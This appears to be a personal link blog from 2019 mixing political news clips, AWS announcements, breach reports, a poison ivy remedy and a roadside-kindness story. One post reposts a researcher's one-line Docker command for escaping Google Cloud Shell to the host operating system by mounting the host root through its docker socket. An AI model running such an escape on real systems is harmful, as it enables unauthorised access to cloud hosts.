Sunday, December 15, 2019

Ukraine prosecutor clears Joe Biden and son Hunter of wrongdoing




WASHINGTON – Ukraine's top prosecutor said he hasn't seen any evidence of wrongdoing by former Vice President Joe Biden nor his son Hunter Biden in dealings with the country.

Prosecutor General Yuriy Lutsenko said Hunter Biden and Burisma, a Ukrainian private gas company of which the younger Biden served on the board, were not the targets of investigations by his office.

He also said the former vice president, and current Democratic 2020 hopeful, didn't act improperly when he called for the dismissal of Ukraine's former prosecutor general, Victor Shoki, who had been investigating the company.

"I do not want Ukraine to again be the subject of U.S. presidential elections," Lutsenko said in an interview with Bloomberg. "Hunter Biden did not violate any Ukrainian laws – at least as of now, we do not see any wrongdoing. A company can pay however much it wants to its board."

More:
https://nypost.com/2019/05/16/joe-biden-and-son-hunter-cleared-of-wrongdoing-by-ukraine-prosecutor/

Friday, December 13, 2019

Virginia Driver License Custom Pet ID Tags and Wallet Card | Etsy



https://www.etsy.com/listing/470514078/virginia-driver-license-custom-pet-id

Tuesday, November 26, 2019

New – Use Tag Policies to Manage Tags Across Multiple AWS Accounts | AWS News Blog



https://aws.amazon.com/blogs/aws/new-use-tag-policies-to-manage-tags-across-multiple-aws-accounts/


Just a reminder...


Constitution of United States of America 1789 (rev. 1992)
Section 4

The President, Vice President and all Civil Officers of the United States, shall be removed from Office on Impeachment for, and Conviction of, Treason, Bribery, or other high Crimes and Misdemeanors.

Sunday, November 24, 2019

Choosing a Paper Topic: The ACE Method


  • "Angry" topics tend to lean towards "This is a problem that needs to be solved. I'm going to find three ways (or five ways) to solve it, and present that to my audience." When you write this kind of paper, you're being an advocate or an activist. You want people to get fired up and do something about the problem, so in this case, choosing a paper topic means finding something that fires you up too.
  • "Curious" topics tend to lean towards "This is something that needs to be explained, so that we understand it better. I'm going to explain this topic to my audience." When you write this kind of paper, you're being a scientist. You want people to come away with a better understanding of how something works, so choosing a paper topic means finding something you want to explain for yourself, too.
  • "Excited" topics tend to lean towards "this is something that everyone needs to know about, so I have to find a way to tell them!" When you write this kind of paper, you're being a salesperson. You want to get other people just as excited about the topic as you are, so choosing a paper topic here means you need something that excites you, too.

Pick one of those things, and you have your paper topic.



More:
https://undergradeasier.com/choosing-a-paper-topic/




David K. Shepherd 

AWS-CSA, CISSP, PMP, ITIL, SAFe 4

davidkshepherd@gmail.com

Sunday, October 20, 2019

Turn Off PayPal 2 Factor Auth | This shouldn't be SO HARD to find...


Not Mine.  Found while researching the issue.

----------------------------------------------------------------------------------------------
  
Contributor

Re: How to remove 2-step phone verification from my paypal account?
 

I've succeeded to disable 2-Factor-Authentication!

You have to use the old interface of PayPal. 

  1. Log in
  2. Enter https://www.paypal.com/webapps/customerprofile/summary.view
  3. Goto Security Token Settings (https://www.paypal.com/cgi-bin/customerprofileweb?cmd=_security-token)
  4. select your phonenumber and then disable it
  5. cheers!

Saturday, October 19, 2019

Amazon Shares 6 Ways It Creates a Culture of Innovation and How You Can Too



https://www.inc.com/scott-mautz/amazon-shares-6-ways-it-creates-a-culture-of-innovation-how-you-can-too.html

Thursday, October 10, 2019

Two Giuliani Associates Who Helped Him on Ukraine Charged With Campaign-Finance Violations - WSJ


WASHINGTON—Two Soviet-born donors to a pro-Trump fundraising committee who helped Rudy Giuliani's efforts to investigate Democrat Joe Biden were arrested late Wednesday on criminal charges stemming from their alleged efforts to funnel foreign money into U.S. elections and influence U.S. politics on behalf of Ukrainian and other foreign politicians.

More:
https://www.wsj.com/articles/two-foreign-born-men-who-helped-giuliani-on-ukraine-arrested-on-campaign-finance-charges-11570714188




David K. Shepherd 

AWS-CSA, CISSP, PMP, ITIL, SAFe 4

davidkshepherd@gmail.com

Tuesday, October 8, 2019

Amazon Plans $800 Million Data Center in Argentina


Amazon.com Inc.'s cloud division plans to build a regional data center in a free-trade zone in Argentina, according to people familiar with the matter.

The Seattle-based company is preparing to invest about $800 million in the project over 10 years and will reap considerable tax benefits by locating the data center in the Bahia Blanca-Coronel Rosales districts of the province of Buenos Aires.

More:

Thursday, September 5, 2019

Poison Ivy advice



Okay as someone who is allergic to poison ivy and basically gets it by staring at it—  

1. ⁠Shower, pat yourself dry and put the towel in the wash. 

2. ⁠Go to the store, get an oatmeal bath packet, and calamine lotion (you'll find it in with all the poison ivy stuff), and a big thing of apple cider vinegar. 

3. ⁠Take an oatmeal bath, when you get out pat yourself dry. 

4. ⁠once dry, put the apple cider vinegar all over the infected area and let that dry. 

5. ⁠once that's dry put the calamine lotion on and veg out.  


Do not scratch it for the love of god. The shower gets the oils off your skin, the oatmeal bath will help with the oils already in your skin. The vinegar helps dry out the infected area, which will help with itching and also help your body get rid of the rash.  The calamine lotion also helps dry out your skin but also will help with the itchiness.  God speed.


From:

Thursday, August 29, 2019

One-liner #Docker escape from #GCP's Cloud Shell to the host OS


Spencer Gietzen (@SpenGietz)
One-liner #Docker escape from #GCP's Cloud Shell to the host OS:

sudo docker -H unix:///google/host/var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash

⁦‪@RhinoSecurity‬⁩ pic.twitter.com/sXXFccQuti

Thursday, August 15, 2019

Capital One hacker took data from more than 30 companies, new court docs reveal


The government notes that Thompson has represented that she neither sold, nor otherwise shared or disseminated any of the data that she stole (from Capital One or any other victim), and that the copy of the data that the government recovered during the search of Thompson's residence is the only copy of the stolen data that she created. It is too early to confirm that this is the case. The government is continuing its investigation, which will take a significant amount of time and resources, given the immense amount of forensic evidence to review. To date, however, the government has not uncovered any evidence that would suggest Thompson's statement that she neither sold, nor otherwise disseminated, any of the data beyond the servers that the government recovered is untrue.   (emphasis added)


Wednesday, August 7, 2019

Computer Museum Of America


Preserving Our Digital Roots

After 40 years of collecting technology and four years of testing temporary exhibitions, the Computer Museum of America (CMoA) will be opening the doors to its new permanent home on July 20,2019. The CMoA will preserve the achievements of the digital revolution to educate, entertain and inspire the innovator in us all.

In the months following our opening, we will roll-out carefully curated exhibits featuring selected items from our collection of over 250,000 artifacts from the digital revolution. Our opening exhibit traces the history of the Supercomputer featuring iconic artifacts like the Cray 1A, Connection Machine 2 and the Intel PSC and PSC2, unveiling how these marvels of engineering impact our everyday life and the future.


https://computermuseumofamerica.org/

Monday, August 5, 2019

True talent



5 of the biggest data breaches ever



Monday's news that a hacker had accessed the personal information of millions of Capital One credit card customers and card applicants probably didn't shock all that many people.

Data breaches sadly are becoming a common occurrence.

Even with 100 million Americans and 6 million Canadians possibly affected, this latest event doesn't even rank among the top 10 such breaches (measured by number of customer records affected.)

From:

Equifax agrees to settlement of up to $700 million over 2017 data breach - The Verge


The Equifax numbers:

In total the breach exposed 147 million people's names and dates of birth, 145.5 million social security numbers, and 209,000 payment card numbers and expiration dates.

Thursday, July 18, 2019

Tuesday, July 9, 2019

WOW! | Federal judge rejects Justice Department’s bid to swap out lawyers for census case on citizenship question


The federal judge in New York on Tuesday wrote that the department's request to withdraw the previous lawyers was "patently deficient." The department had earlier this week announced its intention to swap out the legal team on the case, without saying exactly why. A person familiar with the matter said the decision was driven in […]

https://www.washingtonpost.com/news/politics/wp/2019/07/09/federal-judge-rejects-justice-departments-bid-to-swap-out-lawyers-for-census-case-on-citizenship-question/

Tuesday, May 14, 2019

Hacker Puts Hosting Service Code Spaces Out of Business | Threatpost

 Code Spaces, a code-hosting and software collaboration platform, has been put out of business by an attacker who deleted the company's data and backups.

More:
https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/

Thursday, May 2, 2019

DevOpsDays Washington, DC 2019



Devopsdays Washington, DC

JULY 8 - 9, 2019

Ronald Reagan Building and International Trade Center, Washington, D.C.
1300 Pennsylvania Ave NW, Washington, D.C. 20004
A house divided against itself cannot stand.

Wednesday, April 3, 2019

"Today you.... tomorrow me."



Just about every time I see someone I stop. I kind of got out of the habit in the last couple of years, moved to a big city and all that, my girlfriend wasn't too stoked on the practice. Then some shit happened to me that changed me and I am back to offering rides habitually. If you would indulge me, it is long story and has almost nothing to do with hitch hiking other than happening on a road.  


This past year I have had 3 instances of car trouble. A blow out on a freeway, a bunch of blown fuses and an out of gas situation. All of them were while driving other people's cars which, for some reason, makes it worse on an emotional level. It makes it worse on a practical level as well, what with the fact that I carry things like a jack and extra fuses in my car, and know enough not to park, facing downhill, on a steep incline with less than a gallon of fuel.  


Anyway, each of these times this shit happened I was DISGUSTED with how people would not bother to help me. I spent hours on the side of the freeway waiting, watching roadside assistance vehicles blow past me, for AAA to show. The 4 gas stations I asked for a gas can at told me that they couldn't loan them out "for my safety" but I could buy a really shitty 1-gallon one with no cap for $15. It was enough, each time, to make you say shit like "this country is going to hell in a handbasket."  


But you know who came to my rescue all three times? Immigrants. Mexican immigrants. None of them spoke a lick of the language. But one of those dudes had a profound affect on me.  He was the guy that stopped to help me with a blow out with his whole family of 6 in tow. I was on the side of the road for close to 4 hours. Big jeep, blown rear tire, had a spare but no jack. I had signs in the windows of the car, big signs that said NEED A JACK and offered money. No dice. Right as I am about to give up and just hitch out there a van pulls over and dude bounds out. He sizes the situation up and calls for his youngest daughter who speaks english. He conveys through her that he has a jack but it is too small for the Jeep so we will need to brace it. He produces a saw from the van and cuts a log out of a downed tree on the side of the road. We rolled it over, put his jack on top, and bam, in business. I start taking the wheel off and, if you can believe it, I broke his tire iron. It was one of those collapsible ones and I wasn't careful and I snapped the head I needed clean off. Fuck.  No worries, he runs to the van, gives it to his wife and she is gone in a flash, down the road to buy a tire iron. She is back in 15 minutes, we finish the job with a little sweat and cussing (stupid log was starting to give), and I am a very happy man. We are both filthy and sweaty. The wife produces a large water jug for us to wash our hands in. I tried to put a 20 in the man's hand but he wouldn't take it so I instead gave it to his wife as quietly as I could. I thanked them up one side and down the other. I asked the little girl where they lived, thinking maybe I could send them a gift for being so awesome. She says they live in Mexico. They are here so mommy and daddy can pick peaches for the next few weeks. After that they are going to pick cherries then go back home. She asks if I have had lunch and when I told her no she gave me a tamale from their cooler, the best fucking tamale I have ever had.  So, to clarify, a family that is undoubtedly poorer than you, me, and just about everyone else on that stretch of road, working on a seasonal basis where time is money, took an hour or two out of their day to help some strange dude on the side of the road when people in tow trucks were just passing me by. Wow...  


But we aren't done yet. I thank them again and walk back to my car and open the foil on the tamale cause I am starving at this point and what do I find inside? My fucking $20 bill! I whirl around and run up to the van and the guy rolls his window down. He sees the $20 in my hand and just shaking his head no like he won't take it. All I can think to say is "Por Favor, Por Favor, Por Favor" with my hands out. Dude just smiles, shakes his head and, with what looked like great concentration, tried his hardest to speak to me in English:  


"Today you.... tomorrow me."  


Rolled up his window, drove away, his daughter waving to me in the rear view. I sat in my car eating the best fucking tamale of all time and I just cried. Like a little girl. It has been a rough year and nothing has broke my way. This was so out of left field I just couldn't deal.  


In the 5 months since I have changed a couple of tires, given a few rides to gas stations and, once, went 50 miles out of my way to get a girl to an airport. I won't accept money. Every time I tell them the same thing when we are through:  


"Today you.... tomorrow me."  


tl;dr: long rambling story about how the kindness of strangers, particularly folks from south of the border, forced me to be more helpful on the road and in life in general. I am sure it won't be as meaningful to anyone else but it was seriously the highlight of my 2010.  


**edit: To the OP, sorry to jack your thread, this has nothing to do with Hitch Hiking. I sort of thought I could just get this off my chest, enjoy the catharsis and watch the story languish at the bottom of the page. Glad people like hearing the tale and I hope it moves you to be more helpful in your day to day. **

Saturday, March 9, 2019

A Florida Massage Parlor Owner Has Been Selling Chinese Execs Access to Trump at Mar-a-Lago – Mother Jones


The latest Trump political donor to draw controversy is Li Yang, a 45-year-old Florida entrepreneur from China who founded a chain of spas and massage parlors that included the one where New England Patriots owner Bob Kraft was recently busted for soliciting prostitution. She made the news this week when the Miami Herald reportedthat last month she had attended a Super Bowl viewing party at Donald Trump's West Palm Beach golf club and had snapped a selfie with the president during the event. Though Yang no longer owns the spa Kraft allegedly visited, the newspaper noted that other massage parlors her family runs have "gained a reputation for offering sexual services." 

Spaf’s take on The RSA 2019 Conference - CERIAS - Purdue University

 https://www.cerias.purdue.edu/site/blog/post/the_rsa_2019_conference/

Wednesday, February 27, 2019

Sinner

 I am a self-avowed practicing bacon and shellfish eater. Sometimes I eat them TOGETHER. I also wear blended fabrics ALL THE TIME! I guess I am truly unfit to ever be Clergy in the UMC.

We are all sinners.

Why are some sinners singled out for special punishment?

Who decides which sins are OK and which are not?

Sunday, February 3, 2019

Quick-Start & Step by Step Guides | Plex Support

 https://support.plex.tv/articles/200264746-quick-start-step-by-step-guides/


•—•—•—•—•—•—•—•—•—•—•—•—•—•—•—•—•

AWS re:Invent 2018 Architecture Icons

 Multiple formats, ready for download.

https://aws.amazon.com/architecture/icons/

Insider leaks Trump's "Executive Time"-filled private schedules


Holy crap...

What the schedules show: Trump, an early riser, usually spends the first 5 hours of the day in Executive Time. Each day's schedule places Trump in "Location: Oval Office" from 8 to 11 a.m.

  • But Trump, who often wakes before 6 a.m., is never in the Oval during those hours, according to six sources with direct knowledge.
  • Instead, he spends his mornings in the residence, watching TV, reading the papers, and responding to what he sees and reads by phoning aides, members of Congress, friends, administration officials and informal advisers.

Saturday, February 2, 2019

Microsoft Azure data deleted because of DNS outage – Naked Security


Oh wow!  
This looks like a rather poor design. 
No failsafe? 
———

Microsoft deleted several Transparent Data Encryption (TDE) databases in Azure, holding live customer information. TDE databases dynamically encrypt the information they store, decrypting it when customers access it. Keeping the data encrypted at rest stops an intruder with access to the database from reading the information.

While there are different approaches to encrypting these tables, many Azure users store their own encryption keys in Microsoft's Key Vault encryption key management system, in a process called Bring Your Own Key (BYOK).

The deletions were automated, triggered by a script that drops TDE database tables when their corresponding keys can no longer be accessed in the Key Vault, explained Microsoft in a letter reportedly sent to customers

Tuesday, January 15, 2019

Nobody likes leftover McDonalds...

 Rank-and-file Democrats reject Trump's invitation to shutdown talks, back Pelosi in opposition to border wall

https://www.washingtonpost.com/business/economy/rank-and-file-democrats-reject-trumps-invitation-to-shutdown-talks-backing-leaders-in-united-opposition-to-border-wall/2019/01/15/2539482e-18d2-11e9-9ebf-c5fed1b7a081_story.html

Bentley S1



The Bentley S1 (originally simply "Bentley S") was a luxury car produced by Bentley Motors Limited from 1955 until 1959. The S1 was derived from Rolls-Royce's complete redesign of its standard production car after World War II, the Silver Cloud. Each was its maker's last standard production car with an independent chassis. The S-series Bentley was given the Rolls-Royce - Bentley L Series V8 engine in late 1959 and named the S2. Twin headlamps and a facelift to the front arrived in late 1962, resulting in the S3. In late 1965 the S3 was replaced by the new unitary construction Rolls-Royce Silver Shadow-derived T series.

Bentley S
https://en.wikipedia.org/wiki/Bentley_S1


Saturday, January 12, 2019

emmet swimming: "Earplugs 50 Cents" - The Washington Post

 Taped at the 9:30 club in Washington and Alley Katz in Richmond, the Fairfax-bred quartet revisits more than a dozen tunes, infusing many of them with a bar band energy that seldom survived the band's studio efforts. If these shows weren't exactly liberating experiences for the group, they nevertheless come across that way, fueled by now vibrant, now passionate, now colorfully recast versions of "Arlington," "South Bristol, ME," "Jump in the Water," "Sunblock" and other tunes worth reprising. Clearly lead singer Todd Watts, who boasts the band's trademark baritone, viewed these concerts as something more than just a casual stroll down memory lane. That's apparent even when he knows he'll be sharing the vocals with the crowd on the anthemic (and amusingly rearranged) "Arlington."


https://www.washingtonpost.com/archive/lifestyle/1999/07/02/emmet-swimming-earplugs-50-cents/b72a7377-04fb-4cfd-b257-32e20d602b41/

Friday, January 11, 2019

Trackdown: The End of the World (S1.E30)


Available on YouTube https://youtu.be/h1D2ynASqe4

Trackdown: The End of the World (S1.E30)
Hoby has to deal with a snake oil salesman selling the end of the world to a town filled with gullible people.

https://www.imdb.com/title/tt0732741/

Thursday, January 10, 2019